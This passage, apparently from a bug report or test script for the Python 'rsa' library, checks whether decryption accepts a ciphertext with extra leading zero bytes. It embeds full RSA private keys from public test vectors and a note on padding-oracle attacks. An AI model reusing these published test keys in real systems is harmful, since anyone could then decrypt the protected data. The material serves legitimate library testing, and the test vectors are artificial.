IXm1IFELwEKl1i6CDZKcANe+Z6c\nmO60MVBbKvtnedHJHQ6i+wpl3DkeeezafVL9fdaZI7Jd+uRIys6CnrrKazyKPLZK\ngYAGFENIlXeMINYpsSW2n0KUX2a2RPOEC8+m/ONhB0JWxQhj7Mos51a0qft+mT0P\nH6SLLMSFt+qmFAX77xUOdWPCFQgRdn3g+QKBwQDdnsHO5tipcbFmkCxEpPAu83pi\nBTtBKIodhz05nLyee9MG7ZBkh9ovSbwcGAnA1NiBBtaHlRjtkl/rZqrV/zwrg0Zs\nVU7Ze5ar71WzsCMU9Q0DhaCh2KRq4D6PzpG0EhIPChDcaBVw+lZLaHO6zZl7YWsr\n13M/tyOt4jvBCJ2jLlCVg0NvHjRItXn7IbJAYg0gRY0I8PmVq6zAo5jwq2pnyfW8\n9+Ay+x1mj+aY2AMnWZrj/fOqqrGbrxdjlEMZS+MCgcEA8b+0DNVlc5cay162WwzS\nv0UCIo8s7KWkXDdmEVHL/bCgooIztgD+cn/WunHp8eFeTVMmCWCQf+Ac4dYU6iIL\nrMhRJUG3hmN9UfM1X9RCIq97Di7RHZRUtPcWUjSy6KYhiN/zye8hyhwW9wqDNhUH\nXKK5woZBOY/U9Y/PJlD3Uqpqdgy1hN2WnOyA4ctN/etr8au4BmGJK899wopeozCc\nis9/A56K9T8mfVF6NzfS3hqcoVj+8XH4vaHppvA7CRKxAoHAPjwq6NNi3JKU4txx\n0gUPfd/Z6lTVwwKDZq9nvhoJzeev5y4nclPELatjK/CELKaY9gLZk9GG4pBMZ2q5\nZsb6Oq3uxNVgAyr1sOrRAljgQS5frTGFXm3cHjdC2leECzFX6OlGut5vxv5F5X87\noKXECCXfVrx2HNptJpN1fEvTGNQUxSfLdBTjUdfEnYVk7TebwAhIBs7FCAbhyGco\nt80rYGISpDJnv2lNZFPcyec/W3mKSaQzHSY6IiIVS12DSkNJAoHAGMyXHpGG+GwU\nTRQM6rvJriLJTo2FdTVvtqSgM5ke8hC6+jmkzRq/qZszL96eVpVa8XlFmnI2pwC3\n/R2ICTkG9hMK58qXQtntDVxj5qnptD302LJhwS0sL5FIvAZp8WW4uIGHnD7VjUps\n1aPxGT6avSeEYJwB+5CUx8giUyrXrsKgiu6eJjCVrQQmRVy1kljH/Tcxyone4xgA\n0ZHtcklyHCUmZlDEbcv7rjBwYE0uAJkUouJpoBuvpb34u6McTztg\n-----END RSA PRIVATE KEY-----" private_key = PrivateKey.load_pkcs1(privateKeyPem, format='PEM') ct = bytes.fromhex("000063b63f6eb3fd2322a6c85ed16318932e83f32535b3ec2527fb41dcc865bc44690554467655034ad33aa0fa993788e80654ab0e0174f8dd238ad68c3bc194f390dd38d26408778774848c49a6a606e7fb1b3bfbf5f19db4d4d1ba2db43fefb9a9bac311f2e1fc1ab4f5ddc00a009b9dc435448f250a648b206fe764505805c9bed1729d5bfeaa4fddafc115d281703fab0e79726d5546fa698a45ca6e5e561b8c2964b2da01914f808a498ab77672eda3432ed9974f0a06d320ff87a4222899f893a6cb6abf13d7e56cce2ee7eae67fc26f2274b63ce8301c721d7195158b6c966b8d36e3cff0aec6f218b0fa6d8490493471ee0f08b840b6cdcbb73a164246864de0f35565bbebe51585819e42a425090479537ed67f98236415e6ad3ca81116beb91db802dfb3f9da733f86cb6fa90904c8a382afcbf6162f0d89ee04973f2d26659325f7f00a4ae9e800de6aa27b6c94b9d57791658eb0714b7cba5466ecfe44bd5803647c3825b58c37187311a8b11399f53a877c265da82493a90869e376") pt = bytes.fromhex("54657374") try: message = rsa.decrypt(ct, private_key) except: print("[*] Invalid decryption") else: print("[!] No errors in decryption") print("message == pt?", message == pt) print("\nTest with original ciphertext\n") privateKeyPem = "-----BEGIN RSA PRIVATE KEY-----\n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\n-----END RSA PRIVATE KEY-----" private_key = PrivateKey.load_pkcs1(privateKeyPem, format='PEM') ct = bytes.fromhex("63b63f6eb3fd2322a6c85ed16318932e83f32535b3ec2527fb41dcc865bc44690554467655034ad33aa0fa993788e80654ab0e0174f8dd238ad68c3bc194f390dd38d26408778774848c49a6a606e7fb1b3bfbf5f19db4d4d1ba2db43fefb9a9bac311f2e1fc1ab4f5ddc00a009b9dc435448f250a648b206fe764505805c9bed1729d5bfeaa4fddafc115d281703fab0e79726d5546fa698a45ca6e5e561b8c2964b2da01914f808a498ab77672eda3432ed9974f0a06d320ff87a4222899f893a6cb6abf13d7e56cce2ee7eae67fc26f2274b63ce8301c721d7195158b6c966b8d36e3cff0aec6f218b0fa6d8490493471ee0f08b840b6cdcbb73a164246864de0f35565bbebe51585819e42a425090479537ed67f98236415e6ad3ca81116beb91db802dfb3f9da733f86cb6fa90904c8a382afcbf6162f0d89ee04973f2d26659325f7f00a4ae9e800de6aa27b6c94b9d57791658eb0714b7cba5466ecfe44bd5803647c3825b58c37187311a8b11399f53a877c265da82493a90869e376") pt = bytes.fromhex("54657374") try: message = rsa.decrypt(ct, private_key) except: print("[*] Invalid decryption") else: print("[!] No errors in decryption") print("message == pt?", message == pt) ``` 4096-bit test vector: ``` import rsa from rsa import PrivateKey import json """ { "algorithm" : "RSAES-PKCS1-v1_5", "generatorVersion" : "0.8r12", "numberOfTests" : 65, "header" : [ "Test vectors of type RsaesPkcs1Decrypt are intended to check the decryption", "of RSA encrypted ciphertexts." ], "notes" : { "InvalidPkcs1Padding" : "This is a test vector with an invalid PKCS #1 padding. Implementations must ensure that different error conditions cannot be distinguished, since the information about the error condition can be used for a padding oracle attack. (RFC 8017 Section 7.2.2)" }, "schema" : "rsaes_pkcs1_decrypt_schema.json", "testGroups" : [ { "d" : "00d3519bd86edf5dbe9c64a3781713dd049b747f5651fd918cce8a9b80b6d6a2fb6aab334ab569a89b58982e0aae373090299fa227f9652b802d23ee5ca6824c433d01d40bb0473b16190a8bfb137c0a704b4f49b45015bfbee1f670446f07595259d70c7d79ae95f9b2543b0162ebb763ebb81c4b6edff9d197dede1dbe57e40466d156d4dfd5d7634c45534fb2bbbd1bf257817a173c0795fdbcc533976f4a0d04160f299af5dc272a814b36d5bae5116b9542178f1d554cab7a6453035482b981add4bd8ffd5d500839b23e30ebd3f3868f07584cbd12ba089325982860f69f2bdc7077b6c60f58a2272823379e1023704165f7c14f64a18fd5b245a18149b7eda3385a56ba9e79502a27bf13865cde35be15de03d06aa6f08b172b7eeb4b73cbc157019c5d933584a8d1add61b7dbca3b253ca0cf93dc9a8a3aac2f50227022e692f7b4767556620cc928d63e31078c360e2ab4b71a917e19e7eb09380482e5b4ea88202871c2a29ca6f66b2fe304af609520e4f81d64c26768bb812a86679366611f4cf6e89e2bd1d9d7e28729c7f0e4e3152d7ad7f186fa32f01e169ff06a12001bc179dfd0dc942cbabc555f67f5fd043e0a3354340fa490d2f123367be926eb3e1dffe70c3151c87450f3217dc2aa0b5a7069c5a17d55614c9994139f7b37b49e9fe780af65a0e89e2e58feaaffe163bc9d19eafd9cd29b0ef3cef3d01", "e" : "010001", "keysize" : 4096, "n" : "00f601be0dccd04aa40b12f3f191ae17c1f9c8c0b68e7a77e14be25c3c7907cb1d33a6ef418ef41852f32c98392bc5c9aed91c1a1501c503eab89b3ee6f4f8eb2e0fcfc41bd03609cf6a8eb3aa6f0fbe23187b33db4d34b66d128a8aba0a2abf40bb9d13d8e2554569a57ab1d8c61b8cad2dc88599ae0da5346e15dace1bac7bf69737c22f083be9b46bb8b1eab5957b2da740275e96c87195b96fe11452159dafcfd916cee5d749a77bc3905a5ebd387ae445e8fe70f16e9a086639779ceffbfd41557bd99aea6a371a6b4b160615a1a12bc6958d34bce0c85adcbd8392fa10ceca52209d56196ba3d273ce228f1f111192aa92de2a039798a17bcecb4dc6100e6f8ae8c2643f2ae768b2255f082c978e95ca551555f10608231cf8003bbf807969fff1e51914b9a8c9b8f4564645b9e5d705ffad29663f5dae3d76652b422e43f13e6c1491090805c2d1268a74a251177427e33a9a91175c3670b91746008bce1fd231e6e4f2ad70cb43aca5f07600a6d31dd02915243dfdd943a02165da367a6b7e4dae1dd2e8b836903080795d2585076cc1c15dd9e8d2e5e047526569b1bfd395d957eb9fde325d342d14426e71efdc1887515e53cdea5834921f928629e748eed097ac4024e2bf255d70411f87373948cf8e8aa7effa2b0ab47d5166091e1aedec60568b155bd9c27bc55f3ece35f83d636dbcd5abf4853a051db94d5045", "privateKeyJwk" : { "alg" : "RSA1_5", "d" : "01Gb2G7fXb6cZKN4FxPdBJt0f1ZR_ZGMzoqbgLbWovtqqzNKtWmom1iYLgquNzCQKZ-iJ_llK4AtI-5cpoJMQz0B1AuwRzsWGQqL-xN8CnBLT0m0UBW_vuH2cERvB1lSWdcMfXmulfmyVDsBYuu3Y-u4HEtu3_nRl97eHb5X5ARm0VbU39XXY0xFU0-yu70b8leBehc8B5X9vMUzl29KDQQWDyma9dwnKoFLNtW65RFrlUIXjx1VTKt6ZFMDVIK5ga3UvY_9XVAIObI-MOvT84aPB1hMvRK6CJMlmChg9p8r3HB3tsYPWKInKCM3nhAjcEFl98FPZKGP1bJFoYFJt-2jOFpWup55UConvxOGXN41vhXeA9BqpvCLFyt-60tzy8FXAZxdkzWEqNGt1ht9vKOyU8oM-T3JqKOqwvUCJwIuaS97R2dVZiDMko1j4xB4w2Diq0txqRfhnn6wk4BILltOqIIChxwqKcpvZrL-MEr2CVIOT4HWTCZ2i7gSqGZ5NmYR9M9uieK9HZ1-KHKcfw5OMVLXrX8Yb6MvAeFp_wahIAG8F539DclCy6vFVfZ_X9BD4KM1Q0D6SQ0vEjNnvpJus-Hf_nDDFRyHRQ8yF9wqoLWnBpxaF9VWFMmZQTn3s3tJ6f54CvZaDoni5Y_qr_4WO8nRnq_ZzSmw7zzvPQE", "dp" : "gVSGqrCgiWv5fxPj6x9_XEkZW0nMO2J3QSo2iHmLGPRkIt9HnLlBs7VOJZZKPWm4l7zINVFg5YtK8p8XRd0sq7Zw9jS5wFjms1FJR_LCfeXtQk9zseHxvkoYiRGgMz86Zohliz7o4yZaUS5N6srcRw7jBOu1IkEjr7RhmE_oUk_gtrMNMqWfbtLcdKlrx8v9G7ROWKcJIjXF1icuEqLIYsuMjPXRCapPscZHKHWhRGDB7VIHxLIrxJTHlH63ymOoyv0xNh0ADd8WotefE92RQNl5FJtIjL9ElFpbaq8TIhv0SR67t_yifKIOIh9Jw8N7ifzy3A4stj-Pipt6FCJQWQ", "dq" : "th2E_5NKTkN7Fu4bS5_fSuEzcLU4W956VGShI8A0PfV1-eEo7535RCMNOcyc9dwO2yi350C2nvAkwb_uOfzVNA_66gAQFgxTXcCSDnzYG-Uz0A-lVKH8TT4CxGFWn158p4fxUV7fRbGWt1mITeZSw41ZNM-SUk6Ae007WQvDm8QX7kiFp2HSjdrc5sj9s7lh0-f9SAZN-TQKln-LeZl0OIQfSFeaR23bVQiMMI9o8rKdAcZZelp8jQZihPY-N6aMOHnDKqODZnX9DrJxmIOpGURWHp3X6KprsXFX8IxI-Ob65cPlortrXVgO7GyX3c2b4KSe8oOnAxrXq6jUON9OlQ", "e" : "AQAB", "kid" : "none", "kty" : "RSA", "n" : "9gG-DczQSqQLEvPxka4XwfnIwLaOenfhS-JcPHkHyx0zpu9BjvQYUvMsmDkrxcmu2RwaFQHFA-q4mz7m9PjrLg_PxBvQNgnPao6zqm8PviMYezPbTTS2bRKKiroKKr9Au50T2OJVRWmlerHYxhuMrS3IhZmuDaU0bhXazhuse_aXN8IvCDvptGu4seq1lXstp0AnXpbIcZW5b-EUUhWdr8_ZFs7l10mne8OQWl69OHrkRej-cPFumghmOXec7_v9QVV72Zrqajcaa0sWBhWhoSvGlY00vODIWty9g5L6EM7KUiCdVhlro9JzziKPHxERkqqS3ioDl5ihe87LTcYQDm-K6MJkPyrnaLIlXwgsl46VylUVVfEGCCMc-AA7v4B5af_x5RkUuajJuPRWRkW55dcF_60pZj9drj12ZStCLkPxPmwUkQkIBcLRJop0olEXdCfjOpqRF1w2cLkXRgCLzh_SMebk8q1wy0OspfB2AKbTHdApFSQ9_dlDoCFl2jZ6a35Nrh3S6Lg2kDCAeV0lhQdswcFd2ejS5eBHUmVpsb_TldlX65_eMl00LRRCbnHv3BiHUV5TzepYNJIfkoYp50ju0JesQCTivyVdcEEfhzc5SM-Oiqfv-isKtH1RZgkeGu3sYFaLFVvZwnvFXz7ONfg9Y2281av0hToFHblNUEU", "p" : "_CG4VcWtTKK2lwUWQG9xxuee_EEm5lmHctseCC3msN3aqiopUfBBSOhuC94oITt_YA-YcwgwHqzqE0Biuww932KNqav5PvHOPnWwlTpITb01VL1cBkmTPdd-UnVj6Q8FqAE_3ayVjDKTeOlDA7MEvl-d8f5bBDp_3ZRwCj8LHLvQUWt82UxXypbZ_SqMqXOZEhjLozocI9gQ91GdH3cCq3Kv_bP4ShsqiBFuQDO8TQz8eYnGV-D-lOlkR2rli65reHbzbAnTKxpj-MR8lKdMku7fdfwnz_4PhFI2PkvI92U_PLVer2k87HDRPIdd6TWosgQ5q36T92mBxZV_xbtE2Q", "q" : "-cf3SKUF0j7O-ahfgJfIz31wKO9skOIqM2URWC0sw2NuNOrTcgTb0i8UKj-x1fhXsDEMekM_Ua4U1GCLAbQ6qMeuZ4Nff74LnZeUiznpui06FoftuLVu5w_wU22rTQVR9x7Q2u6eQSRJ9fCZvMFeTvBVTcefh_7FoN6nF8cFQ5K_REYTk3QBu-88Ivv35zjFh3m5gWCaH5wR3W8LvpmW4nc0WeTO8kewKp_CEpasV6WxBWGCQxDPvezJDgZZg3DjaYcT_b4lKOxO89zKrnAe7cPlStbnr05o47Ob0ul6yRGZNsZHpQNRHLKD35hM_XwH8PVqqK4xZpSO8_QbCFmTTQ", "qi" : "IvuOX82bdnEE5xJE21MFjBgGHhsNH2O3Pi1ZqV4qEM2HQmoz2hPCh83vgTbl5H6T-5swrZJiintUP0jrARqGNWqzy0gPJ-ORsBjKGH2Xrz2C4xhh7K-mY9t4qonDvUaOaq3vs6Q_eLwAuAFMldtU6dIaAX6PIfZxVF7d6all6jLf_0XNo3_KGqUTL2yO7SIr0B_tWm59Y5WAxZVXd6hlRMLEyTm9uLTEht2lMHKGGgM0NZvbN1hHXknZDQU5lE54z8_Y__Vbsxoc68ZbKPUeeQcBsveRIYiYTwNObpbhxSUeM_44-yIbznqQqGhXxfVrbKdzB8RdUpCx8Iit4IKzSQ" }, "privateKeyPem" : "-----BEGIN RSA PRIVATE KEY-----\n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\n-----END RSA PRIVATE KEY-----", "privateKeyPkcs8" : "30820944020100300d06092a864886f70d01010105000482092e3082092a0201000282020100f601be0dccd04aa40b12f3f191ae17c1f9c8c0b68e7a77e14be25c3c7907cb1d33a6ef418ef41852f32c98392bc5c9aed91c1a1501c503eab89b3ee6f4f8eb2e0fcfc41bd03609cf6a8eb3aa6f0fbe23187b33db4d34b66d128a8aba0a2abf40bb9d13d8e2554569a57ab1d8c61b8cad2dc88599ae0da5346e15dace1bac7bf69737c22f083be9b46bb8b1eab5957b2da740275e96c87195b96fe11452159dafcfd916cee5d749a77bc3905a5ebd387ae445e8fe70f16e9a086639779ceffbfd41557bd99aea6a371a6b4b160615a1a12bc6958d34bce0c85adcbd8392fa10ceca52209d56196ba3d273ce228f1f111192aa92de2a039798a17bcecb4dc6100e6f8ae8c2643f2ae768b2255f082c978e95ca551555f10608231cf8003bbf807969fff1e51914b9a8c9b8f4564645b9e5d705ffad29663f5dae3d76652b422e43f13e6c1491090805c2d1268a74a251177427e33a9a91175c3670b91746008bce1fd231e6e4f2ad70cb43aca5f07600a6d31dd02915243dfdd943a02165da367a6b7e4dae1dd2e8b836903080795d2585076cc1c15dd9e8d2e5e047526569b1bfd395d957eb9fde325d342d14426e71efdc1887515e53cdea5834921f928629e748eed097ac4024e2bf255d70411f87373948cf8e8aa7effa2b0ab47d5166091e1aedec60568b155bd9c27bc55f3ece35f83d636dbcd5abf4853a051db94d504502030100010282020100d3519bd86edf5dbe9c64a3781713dd049b747f5651fd918cce8a9b80b6d6a2fb6aab334ab569a89b58982e0aae373090299fa227f9652b802d23ee5ca6824c433d01d40bb0473b16190a8bfb137c0a704b4f49b45015bfbee1f670446f07595259d70c7d79ae95f9b2543b0162ebb763ebb81c4b6edff9d197dede1dbe57e40466d156d4dfd5d7634c45534fb2bbbd1bf257817a173c0795fdbcc533976f4a0d04160f299af5dc272a814b36d5bae5116b9542178f1d554cab7a6453035482b981add4bd8ffd5d500839b23e30ebd3f3868f07584cbd12ba089325982860f69f2bdc7077b6c60f58a2272823379e1023704165f7c14f64a18fd5b245a18149b7eda3385a56ba9e79502a27bf13865cde35be15de03d06aa6f08b172b7eeb4b73cbc157019c5d933584a8d1add61b7dbca3b253ca0cf93dc9a8a3aac2f50227022e692f7b4767556620cc928d63e31078c360e2ab4b71a917e19e7eb09380482e5b4ea88202871c2a29ca6f66b2fe304af609520e4f81d64c26768bb812a86679366611f4cf6e89e2bd1d9d7e28729c7f0e4e3152d7ad7f186fa32f01e169ff06a12001bc179dfd0dc942cbabc555f67f5fd043e0a3354340fa490d2f123367be926eb3e1dffe70c3151c87450f3217dc2aa0b5a7069c5a17d55614c9994139f7b37b49e9fe780af65a0e89e2e58feaaffe163bc9d19eafd9cd29b0ef3cef3d010282010100fc21b855c5ad4ca2b6970516406f71c6e79efc4126e6598772db1e082de6b0dddaaa2a2951f04148e86e0bde28213b7f600f987308301eacea134062bb0c3ddf628da9abf93ef1ce3e75b0953a484dbd3554bd5c0649933dd77e527563e90f05a8013fddac958c329378e94303b304be5f9df1fe5b043a7fdd94700a3f0b1cbbd0516b7cd94c57ca96d9fd2a8ca973991218cba33a1c23d810f7519d1f7702ab72affdb3f84a1b2a88116e4033bc4d0cfc7989c657e0fe94e964476ae58bae6b7876f36c09d32b1a63f8c47c94a74c92eedf75fc27cffe0f8452363e4bc8f7653f3cb55eaf693cec70d13c875de935a8b20439ab7e93f76981c5957fc5bb44d90282010100f9c7f748a505d23ecef9a85f8097c8cf7d7028ef6c90e22a336511582d2cc3636e34ead37204dbd22f142a3fb1d5f857b0310c7a433f51ae14d4608b01b43aa8c7ae67835f7fbe0b9d97948b39e9ba2d3a1687edb8b56ee70ff0536dab4d0551f71ed0daee9e412449f5f099bcc15e4ef0554dc79f87fec5a0dea717c7054392bf444613937401bbef3c22fbf7e738c58779b981609a1f9c11dd6f0bbe9996e2773459e4cef247b02a9fc21296ac57a5b10561824310cfbdecc90e06598370e3698713fdbe2528ec4ef3dccaae701eedc3e54ad6e7af4e68e3b39bd2e97ac9119936c647a503511cb283df984cfd7c07f0f56aa8ae3166948ef3f41b0859934d0282010100815486aab0a0896bf97f13e3eb1f7f5c49195b49cc3b6277412a3688798b18f46422df479cb941b3b54e25964a3d69b897bcc8355160e58b4af29f1745dd2cabb670f634b9c058e6b3514947f2c27de5ed424f73b1e1f1be4a188911a0333f3a6688658b3ee8e3265a512e4deacadc470ee304ebb5224123afb461984fe8524fe0b6b30d32a59f6ed2dc74a96bc7cbfd1bb44e58a7092235c5d6272e12a2c862cb8c8cf5d109aa4fb1c6472875a14460c1ed5207c4b22bc494c7947eb7ca63a8cafd31361d000ddf16a2d79f13dd9140d979149b488cbf44945a5